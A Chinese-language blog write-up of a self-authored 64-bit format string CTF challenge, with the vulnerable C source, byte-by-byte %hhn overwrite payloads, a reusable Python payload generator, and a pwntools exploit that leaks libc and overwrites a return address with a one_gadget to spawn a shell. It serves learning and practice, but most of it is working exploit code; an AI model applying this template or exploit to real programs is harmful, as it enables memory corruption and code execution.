64位格式化字符串详解

👴之前打格式化字符串一直都是随缘,没有认真总结过,导致前两天跟n神交流的时候👴被吊打,今天👴抽出来几个小时整个🔥来总结一下

题目

题目是👴出的
源码放下面了

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

long long target = 0x1234;

int main()
{
	char s[100];

	while(1)
	{
		read(0,s,0x100);
		printf(s);
		if(target == 0x7ffff7ff7123)
		{
			puts("ohhhhhh,you change it to be a big number!");
			break;
		}
		if(target == 0x2)
		{
			puts("ohhhhhh,you change it to be a small number!");
			break;
		}
		else
		{
			puts("you are not a pwner!!!");
		}
	}
	puts("this is flag: flag{F0rMat_5tr1ng_BY_64_b1T!!!!}");
	return 0;
}

逆向分析

放到ida里面是这样的

解题

借助循环不断写入payload

👴一开始思考比较浅,所以👴寻思着从浅入深,先借助循环不断送入payload,这样也更简单(说白了👴就是菜)

覆盖大数字拿flag

由于是一个while循环,所以可以循环读入payload,爽辣,待会儿试试一次性读入payload
因为是64位,p64高位必然有很多0,但是👴不想要被截断,所以👴就把地址放到了核心写入的后面
先测格式化字符串的参数,👴寻思这有手就🌟,所以👴直接告诉你是第六个参数
👴只说一个payload的含义方便👴日后复习,👴就是懒🐶
payload = "%35c%8$hhn".ljust(0x10,'a') + p64(target)
含义:向栈上第八个参数的地址写入35(单字节写入),刚才虽然👴说了是第六个参数,但是前0x10被👴用来放格式化字串的核心payload了,所以得往后移动两个参数,即"%8$hhn"
所有的payload如下

payload = "%35c%8$hhn".ljust(0x10,'a') + p64(target)
p.send(payload)
payload = "%113c%8$hhn".ljust(0x10,'a') + p64(target + 1)
p.send(payload)
payload = "%255c%8$hhn".ljust(0x10,'a') + p64(target + 2)
p.send(payload)
payload = "%247c%8$hhn".ljust(0x10,'a') + p64(target + 3)
p.send(payload)
payload = "%255c%8$hhn".ljust(0x10,'a') + p64(target + 4)
p.send(payload)
payload = "%127c%8$hhn".ljust(0x10,'a') + p64(target + 5)
p.send(payload)

可以看到👴随便写的flag被输出了

如果把地址放前面,👴跑了一下,看到payload确实被截断了,大概长这样子

50 10 60 00  00 00 00 00  51 10 60 00  00 00 00 00
52 10 60 00  00 00 00 00  53 10 60 00  00 00 00 00
54 10 60 00  00 00 00 00  55 10 60 00  00 00 00 00

覆盖小数字拿flag

👴寻思这不➡️👋 9⃣️ 🌟
低位改成2,高位直接写 0⃣️

payload = "%2c%8$hhn".ljust(0x10,'a') + p64(target)
p.send(payload)
payload = "%8$hhn".ljust(0x10,'a') + p64(target + 1)
p.send(payload)

不依赖循环一次性读入

👴不满足于依赖👴写的循环,👴想一次性就把flag给读出来

覆盖小数字

先给出payload,👴再来解释一下

payload = "%2c%9$hhn" + "%254c%10$hhn"
payload = payload.ljust(0x18)
payload = payload + p64(target) + p64(target + 1)
p.send(payload)

%2c没啥好说的,毕竟target的地位要覆盖成0x02,然后%254就是因为之前已经输出2个字符了,那么由于是单字节,会溢出,所以0x100 = 0x00
因为0xff = 255,所以256 = 0,那么写成254就可以把倒数第二个低字节给改成00力,%9$hhn👴就不说了,👴那么菜👴都知道咋回事,🙏👴以后看到这里还能明白,而不是喷一下当初👴写的这个文章

覆盖大数字

原理跟小数字一样,没啥好说的,不过是有点儿麻烦,👴需要不断的gdb.attach,因为中间👴老是算错偏移
注意单字节溢出原理就彳亍

payload = "%35c%16$hhn" + "%78c%17$hhn" + "%142c%18$hhn"  + "%248c%19$hhn" + "%8c%20$hhn" + "%128c%21$hhn"
payload = payload.ljust(0x50,'a')
payload += p64(target) + p64(target + 1) + p64(target + 2) + p64(target + 3) + p64(target + 4) + p64(target + 5)

深入思考

通过不依赖循环读入payload让👴感到蹊跷,因为像是造轮子,👴很不爽,所以👴要总结一套模板,到时候👴直接套

关于%kc的模板确定

一个16进制数是4位,那么右移四位相当于右移一个16进制数,同理右移八位相当于右移一个字节即两个16进制数
如图

0x23 = (0x7FFFF7FF7123 & 0xff)
0x71 = (0x7FFFF7FF7123 & 0xff00) >> 8
0xff = (0x7FFFF7FF7123 & 0xff0000) >> 16
0xf7 = (0x7FFFF7FF7123 & 0xff000000) >> 24
0xff = (0x7FFFF7FF7123 & 0xff00000000) >> 32
0x7f = (0x7FFFF7FF7123 & 0xff0000000000) >> 40

所以👴看到一个大数的每个字节都可以用&操作符和>>操作符来表示,那么👴就能把模板给👟出来力
归纳总结发现每一个%kc的形式都遵从如下规律,那么以后的目标如果不是0x7FFFF7FF7123也能轻松写出来了

low1 = 0x23 = (0x7FFFF7FF7123 & 0xff)
low2 = 0x71 = (0x7FFFF7FF7123 & 0xff00) >> 8
low3 = 0xff = (0x7FFFF7FF7123 & 0xff0000) >> 16
low4 = 0xf7 = (0x7FFFF7FF7123 & 0xff000000) >> 24
low5 = 0xff = (0x7FFFF7FF7123 & 0xff00000000) >> 32
low6 = 0x7f = (0x7FFFF7FF7123 & 0xff0000000000) >> 40

"%35c" : 35 = 0x23 = (0x7FFFF7FF7123 & 0xff) = low1 - 0
"%78c" : 78 = 0x71 - 0x23 = (0x7FFFF7FF7123 & 0xff00) >> 8 - (0x7FFFF7FF7123 & 0xff) = low2 - low1
"%142c" : 142 = 0xff - 0x71 = low3 - low2
"%248c" : 248 = (low4 - low3) + 0x100
"%8c" : 8 = low5 - low4
"%128c" : 128 : (low6 - low5) + 0x100

再进一步用mod的运算法则来推一下,发现都遵从如下规律

"%kc" : k : ((low[n] - low[n - 1]) + 0x100) % 0x100

关于%k$hhn的模板确定

👴觉得这个很简单

"%16$hhn" : 16 : 格式化字串位置 + (0x50 + 0x0) / 0x8
"%17$hhn" : 17 : 格式化字串位置 + (0x50 + 0x8) / 0x8

总模板

👴觉得可以封装成一个函数
参数就来围绕这两个关键点展开
第一个部分是%kc,那么需要🚢入要往目标修改的值,记为after_change
第二个部分是%k$hhn,那么需要🚢入要在哪修改的值,记为target

设计完成后总共六个参数,如下

def format_string_template_64(location_arg,target,after_change,len_other_string = 0,ljust_location = 0x50,bit = 0x6):

	'''
	第一个参数是格式化字符串的位置,即第几个参数
	第二个参数是要改哪里的值
	第三个参数是把想把目标值改成什么值
	第四个参数是看看在printf之前还有没有奇奇怪怪的字符串,比如"fmtstr:",这样在之后输入之前要减去len("fmtstr:"),默认是0
	第五个参数是ljust填补核心payload之后,让其0x8个字节对齐,默认是0x50
	第六个参数是要覆盖的位数,默认为6
	'''
	if bit == 1:
		low1 = (after_change & 0xff)

		c1 = (low1 - len_other_string + 0x100) % 0x100

		location_arg1 = location_arg + ljust_location / 0x8

		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload.ljust(ljust_location,'a')

		payload = payload + p64(target)

	if bit == 2:
		low1 = (after_change & 0xff)
		low2 = (after_change & 0xff00) >> 8

		c1 = (low1 - len_other_string + 0x100) % 0x100
		c2 = (low2 - low1 + 0x100) % 0x100

		location_arg1 = location_arg + ljust_location / 0x8
		location_arg2 = location_arg1 + 1

		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
		payload = payload.ljust(ljust_location,'a')

		payload = payload + p64(target)
		payload = payload + p64(target + 0x1)

	if bit == 3:
		low1 = (after_change & 0xff)
		low2 = (after_change & 0xff00) >> 8
		low3 = (after_change & 0xff0000) >> 16
	
		c1 = (low1 - len_other_string + 0x100) % 0x100
		c2 = (low2 - low1 + 0x100) % 0x100
		c3 = (low3 - low2 + 0x100) % 0x100
	
		location_arg1 = location_arg + ljust_location / 0x8
		location_arg2 = location_arg1 + 1
		location_arg3 = location_arg2 + 1
	
		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
		payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
		payload = payload.ljust(ljust_location,'a')
	
		payload = payload + p64(target)
		payload = payload + p64(target + 0x1)
		payload = payload + p64(target + 0x2)

	if bit == 4:
		low1 = (after_change & 0xff)
		low2 = (after_change & 0xff00) >> 8
		low3 = (after_change & 0xff0000) >> 16
		low4 = (after_change & 0xff000000) >> 24
	
		c1 = (low1 - len_other_string + 0x100) % 0x100
		c2 = (low2 - low1 + 0x100) % 0x100
		c3 = (low3 - low2 + 0x100) % 0x100
		c4 = (low4 - low3 + 0x100) % 0x100
	
		location_arg1 = location_arg + ljust_location / 0x8
		location_arg2 = location_arg1 + 1
		location_arg3 = location_arg2 + 1
		location_arg4 = location_arg3 + 1
	
		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
		payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
		payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
		payload = payload.ljust(ljust_location,'a')
	
		payload = payload + p64(target)
		payload = payload + p64(target + 0x1)
		payload = payload + p64(target + 0x2)
		payload = payload + p64(target + 0x3)

	if bit == 5:
		low1 = (after_change & 0xff)
		low2 = (after_change & 0xff00) >> 8
		low3 = (after_change & 0xff0000) >> 16
		low4 = (after_change & 0xff000000) >> 24
		low5 = (after_change & 0xff00000000) >> 32
	
		c1 = (low1 - len_other_string + 0x100) % 0x100
		c2 = (low2 - low1 + 0x100) % 0x100
		c3 = (low3 - low2 + 0x100) % 0x100
		c4 = (low4 - low3 + 0x100) % 0x100
		c5 = (low5 - low4 + 0x100) % 0x100
	
		location_arg1 = location_arg + ljust_location / 0x8
		location_arg2 = location_arg1 + 1
		location_arg3 = location_arg2 + 1
		location_arg4 = location_arg3 + 1
		location_arg5 = location_arg4 + 1
	
		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
		payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
		payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
		payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + '$hhn'
		payload = payload.ljust(ljust_location,'a')
	
		payload = payload + p64(target)
		payload = payload + p64(target + 0x1)
		payload = payload + p64(target + 0x2)
		payload = payload + p64(target + 0x3)
		payload = payload + p64(target + 0x4)

	if bit == 6:
		low1 = (after_change & 0xff)
		low2 = (after_change & 0xff00) >> 8
		low3 = (after_change & 0xff0000) >> 16
		low4 = (after_change & 0xff000000) >> 24
		low5 = (after_change & 0xff00000000) >> 32
		low6 = (after_change & 0xff0000000000) >> 40
	
		c1 = (low1 - len_other_string + 0x100) % 0x100
		c2 = (low2 - low1 + 0x100) % 0x100
		c3 = (low3 - low2 + 0x100) % 0x100
		c4 = (low4 - low3 + 0x100) % 0x100
		c5 = (low5 - low4 + 0x100) % 0x100
		c6 = (low6 - low5 + 0x100) % 0x100
	
		location_arg1 = location_arg + ljust_location / 0x8
		location_arg2 = location_arg1 + 1
		location_arg3 = location_arg2 + 1
		location_arg4 = location_arg3 + 1
		location_arg5 = location_arg4 + 1
		location_arg6 = location_arg5 + 1
	
		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
		payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
		payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
		payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + '$hhn'
		payload = payload + '%' + str(c6) + 'c' + '%' + str(location_arg6) + '$hhn'
		payload = payload.ljust(ljust_location,'a')
	
		payload = payload + p64(target)
		payload = payload + p64(target + 0x1)
		payload = payload + p64(target + 0x2)
		payload = payload + p64(target + 0x3)
		payload = payload + p64(target + 0x4)
		payload = payload + p64(target + 0x5)

	return payload

target = 0x601050
dbg()

# 覆盖大数字: payload = format_string_template_64(6,target,0x7FFFF7FF7123)
# 覆盖小数字: payload = format_string_template_64(6,target,0x2,0,0x20,2)

效果:
覆盖大数字:
ohhhhhhhhhhhhhhhhhh!!!!!!!!!!!

覆盖小数字:
ohhhhhhhhhhhhhhhhhh!!!!!!!!!!!

更深层次的解题

虽然👴自己写了flag在里面,但是👴玩的还是不过瘾,👴还想getshell
其实👴就是针对强网杯的siri来研究的64位的格式化字符串,那么👴想getshell一点都不过分
所以利用刚才👴写的模板,针对👴自己出的这个题,👴来getshell

攻击__malloc_hook来getshell

可以看到用刚才👴写的模板完全ojbk可以把__malloc_hook给改掉

攻击返回地址来getshell

也完全可以,妙啊,现在教室要关门了,👴来不及贴图了,回去之后👴直接打siri

总结过程中的exp

方便👴复习用

# -*- encoding:utf-8 -*-
from pwn import *

local = 1

binary = "./fmt"
libc_path = './libc-2.23.so'
# port = ""

if local == 1:
	p = process(binary)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']

def leak_libc(addr):
	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
	libc = ELF(libc_path)
	libc_base = addr - libc.sym['__libc_start_main']
	print "[*] libc base:",hex(libc_base)
	__malloc_hook = libc_base + libc.sym['__malloc_hook']
	system = libc_base + libc.sym['system']
	binsh_addr = libc_base + libc.search('/bin/sh').next()
	__free_hook = libc_base + libc.sym['__free_hook']
	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']

def format_string_template_64(location_arg,target,after_change,len_other_string = 0,ljust_location = 0x50,bit = 0x6):

	'''
	第一个参数是格式化字符串的位置,即第几个参数
	第二个参数是要改哪里的值
	第三个参数是把想把目标值改成什么值
	第四个参数是看看在printf之前还有没有奇奇怪怪的字符串,比如"fmtstr:",这样在之后输入之前要减去len("fmtstr:"),默认是0
	第五个参数是ljust填补核心payload之后,让其0x8个字节对齐,默认是0x50
	第六个参数是要覆盖的位数,默认为6
	'''
	if bit == 1:
		low1 = (after_change & 0xff)

		c1 = (low1 - len_other_string + 0x100) % 0x100

		location_arg1 = location_arg + ljust_location / 0x8

		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload.ljust(ljust_location,'a')

		payload = payload + p64(target)

	if bit == 2:
		low1 = (after_change & 0xff)
		low2 = (after_change & 0xff00) >> 8

		c1 = (low1 - len_other_string + 0x100) % 0x100
		c2 = (low2 - low1 + 0x100) % 0x100

		location_arg1 = location_arg + ljust_location / 0x8
		location_arg2 = location_arg1 + 1

		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
		payload = payload.ljust(ljust_location,'a')

		payload = payload + p64(target)
		payload = payload + p64(target + 0x1)

	if bit == 3:
		low1 = (after_change & 0xff)
		low2 = (after_change & 0xff00) >> 8
		low3 = (after_change & 0xff0000) >> 16
	
		c1 = (low1 - len_other_string + 0x100) % 0x100
		c2 = (low2 - low1 + 0x100) % 0x100
		c3 = (low3 - low2 + 0x100) % 0x100
	
		location_arg1 = location_arg + ljust_location / 0x8
		location_arg2 = location_arg1 + 1
		location_arg3 = location_arg2 + 1
	
		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
		payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
		payload = payload.ljust(ljust_location,'a')
	
		payload = payload + p64(target)
		payload = payload + p64(target + 0x1)
		payload = payload + p64(target + 0x2)

	if bit == 4:
		low1 = (after_change & 0xff)
		low2 = (after_change & 0xff00) >> 8
		low3 = (after_change & 0xff0000) >> 16
		low4 = (after_change & 0xff000000) >> 24
	
		c1 = (low1 - len_other_string + 0x100) % 0x100
		c2 = (low2 - low1 + 0x100) % 0x100
		c3 = (low3 - low2 + 0x100) % 0x100
		c4 = (low4 - low3 + 0x100) % 0x100
	
		location_arg1 = location_arg + ljust_location / 0x8
		location_arg2 = location_arg1 + 1
		location_arg3 = location_arg2 + 1
		location_arg4 = location_arg3 + 1
	
		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
		payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
		payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
		payload = payload.ljust(ljust_location,'a')
	
		payload = payload + p64(target)
		payload = payload + p64(target + 0x1)
		payload = payload + p64(target + 0x2)
		payload = payload + p64(target + 0x3)

	if bit == 5:
		low1 = (after_change & 0xff)
		low2 = (after_change & 0xff00) >> 8
		low3 = (after_change & 0xff0000) >> 16
		low4 = (after_change & 0xff000000) >> 24
		low5 = (after_change & 0xff00000000) >> 32
	
		c1 = (low1 - len_other_string + 0x100) % 0x100
		c2 = (low2 - low1 + 0x100) % 0x100
		c3 = (low3 - low2 + 0x100) % 0x100
		c4 = (low4 - low3 + 0x100) % 0x100
		c5 = (low5 - low4 + 0x100) % 0x100
	
		location_arg1 = location_arg + ljust_location / 0x8
		location_arg2 = location_arg1 + 1
		location_arg3 = location_arg2 + 1
		location_arg4 = location_arg3 + 1
		location_arg5 = location_arg4 + 1
	
		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
		payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
		payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
		payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + '$hhn'
		payload = payload.ljust(ljust_location,'a')
	
		payload = payload + p64(target)
		payload = payload + p64(target + 0x1)
		payload = payload + p64(target + 0x2)
		payload = payload + p64(target + 0x3)
		payload = payload + p64(target + 0x4)

	if bit == 6:
		low1 = (after_change & 0xff)
		low2 = (after_change & 0xff00) >> 8
		low3 = (after_change & 0xff0000) >> 16
		low4 = (after_change & 0xff000000) >> 24
		low5 = (after_change & 0xff00000000) >> 32
		low6 = (after_change & 0xff0000000000) >> 40
	
		c1 = (low1 - len_other_string + 0x100) % 0x100
		c2 = (low2 - low1 + 0x100) % 0x100
		c3 = (low3 - low2 + 0x100) % 0x100
		c4 = (low4 - low3 + 0x100) % 0x100
		c5 = (low5 - low4 + 0x100) % 0x100
		c6 = (low6 - low5 + 0x100) % 0x100
	
		location_arg1 = location_arg + ljust_location / 0x8
		location_arg2 = location_arg1 + 1
		location_arg3 = location_arg2 + 1
		location_arg4 = location_arg3 + 1
		location_arg5 = location_arg4 + 1
		location_arg6 = location_arg5 + 1
	
		payload = '%' + str(c1) + 'c' + '%' + str(location_arg1) + '$hhn'
		payload = payload + '%' + str(c2) + 'c' + '%' + str(location_arg2) + '$hhn'
		payload = payload + '%' + str(c3) + 'c' + '%' + str(location_arg3) + '$hhn'
		payload = payload + '%' + str(c4) + 'c' + '%' + str(location_arg4) + '$hhn'
		payload = payload + '%' + str(c5) + 'c' + '%' + str(location_arg5) + '$hhn'
		payload = payload + '%' + str(c6) + 'c' + '%' + str(location_arg6) + '$hhn'
		payload = payload.ljust(ljust_location,'a')
	
		payload = payload + p64(target)
		payload = payload + p64(target + 0x1)
		payload = payload + p64(target + 0x2)
		payload = payload + p64(target + 0x3)
		payload = payload + p64(target + 0x4)
		payload = payload + p64(target + 0x5)

	return payload

target = 0x601050
payload = "%21$p"
p.send(payload)

p.recvuntil("0x")
leak = int(p.recv(12),base = 16) - 240
leak_libc(leak)

dbg()

# 覆盖大数字: payload = format_string_template_64(6,target,0x7FFFF7FF7123)
# 覆盖小数字: payload = format_string_template_64(6,target,0x2,0,0x20,2)

one_gadget = libc_base + 0xf0364
payload = format_string_template_64(6,leak + 240,one_gadget,0,0x90,0x6)
p.send(payload)

# p.send("%300000c")
# gdb.attach(p)
p.interactive()

######################################################################################################################
# 借助循环不断读入payload之覆盖大数字和覆盖小数字
'''
覆盖大数字
0x7FFFF7FF7123  0x23 = 35   0x71 = 113   0xff = 255	0xf7 = 247	0xff = 255	0x7f = 127

payload = "%35c%8$hhn".ljust(0x10,'a') + p64(target)
p.send(payload)
payload = "%113c%8$hhn".ljust(0x10,'a') + p64(target + 1)
p.send(payload)
payload = "%255c%8$hhn".ljust(0x10,'a') + p64(target + 2)
p.send(payload)
payload = "%247c%8$hhn".ljust(0x10,'a') + p64(target + 3)
p.send(payload)
payload = "%255c%8$hhn".ljust(0x10,'a') + p64(target + 4)
p.send(payload)
payload = "%127c%8$hhn".ljust(0x10,'a') + p64(target + 5)
p.send(payload)
------------------------------------------------------
覆盖小数字
0x2

payload = "%2c%8$hhn".ljust(0x10,'a') + p64(target)
p.send(payload)
payload = "%8$hhn".ljust(0x10,'a') + p64(target + 1)
p.send(payload)
'''

######################################################################################################################
# 不借助循环一次性读入payload之覆盖小数字和覆盖大数字
'''
覆盖小数字
0x2

payload = "%2c%9$hhn" + "%254c%10$hhn"
payload = payload.ljust(0x18)
payload = payload + p64(target) + p64(target + 1)
p.send(payload)

------------------------------------------------------
覆盖大数字
0x7FFFF7FF7123  0x23 = 35   0x71 = 113   0xff = 255	0xf7 = 247	0xff = 255	0x7f = 127

payload = "%35c%16$hhn" + "%78c%17$hhn" + "%142c%18$hhn"  + "%248c%19$hhn" + "%8c%20$hhn" + "%128c%21$hhn"
payload = payload.ljust(0x50,'a')
payload += p64(target) + p64(target + 1) + p64(target + 2) + p64(target + 3) + p64(target + 4) + p64(target + 5)
'''
######################################################################################################################
# 第一个参数关于%kc的推导过程
'''
0x7FFFF7FF7123  0x23 = 35   0x71 = 113   0xff = 255	0xf7 = 247	0xff = 255	0x7f = 127
payload = "%35c%16$hhn" + "%78c%17$hhn" + "%142c%18$hhn"  + "%248c%19$hhn" + "%8c%20$hhn" + "%128c%21$hhn"
payload = payload.ljust(0x50,'a')
payload += p64(target) + p64(target + 1) + p64(target + 2) + p64(target + 3) + p64(target + 4) + p64(target + 5)

low1 = 0x23 = (0x7FFFF7FF7123 & 0xff)
low2 = 0x71 = (0x7FFFF7FF7123 & 0xff00) >> 8
low3 = 0xff = (0x7FFFF7FF7123 & 0xff0000) >> 16
low4 = 0xf7 = (0x7FFFF7FF7123 & 0xff000000) >> 24
low5 = 0xff = (0x7FFFF7FF7123 & 0xff00000000) >> 32
low6 = 0x7f = (0x7FFFF7FF7123 & 0xff0000000000) >> 40

"%35c" : 35 = 0x23 = (0x7FFFF7FF7123 & 0xff) = low1 - 0
"%78c" : 78 = 0x71 - 0x23 = (0x7FFFF7FF7123 & 0xff00) >> 8 - (0x7FFFF7FF7123 & 0xff) = low2 - low1
"%142c" : 142 = 0xff - 0x71 = low3 - low2
"%248c" : 248 = (low4 - low3) + 0x100
"%8c" : 8 = low5 - low4
"%128c" : 128 : (low6 - low5) + 0x100

"%kc" : k : ((low[n] - low[n - 1]) + 0x100) % 0x100
'''
######################################################################################################################
# 第二个参数关于%k$hhn的推导过程
'''
0x7FFFF7FF7123  0x23 = 35   0x71 = 113   0xff = 255	0xf7 = 247	0xff = 255	0x7f = 127
payload = "%35c%16$hhn" + "%78c%17$hhn" + "%142c%18$hhn"  + "%248c%19$hhn" + "%8c%20$hhn" + "%128c%21$hhn"
payload = payload.ljust(0x50,'a')
payload += p64(target) + p64(target + 1) + p64(target + 2) + p64(target + 3) + p64(target + 4) + p64(target + 5)

"%16$hhn" : 16 : 格式化字串位置 + (0x50 + 0x0) / 0x8
"%17$hhn" : 17 : 格式化字串位置 + (0x50 + 0x8) / 0x8
'''
######################################################################################################################
posted @ 2020-11-23 19:32  lemon想学二进制  阅读(1281)  评论(2编辑  收藏  举报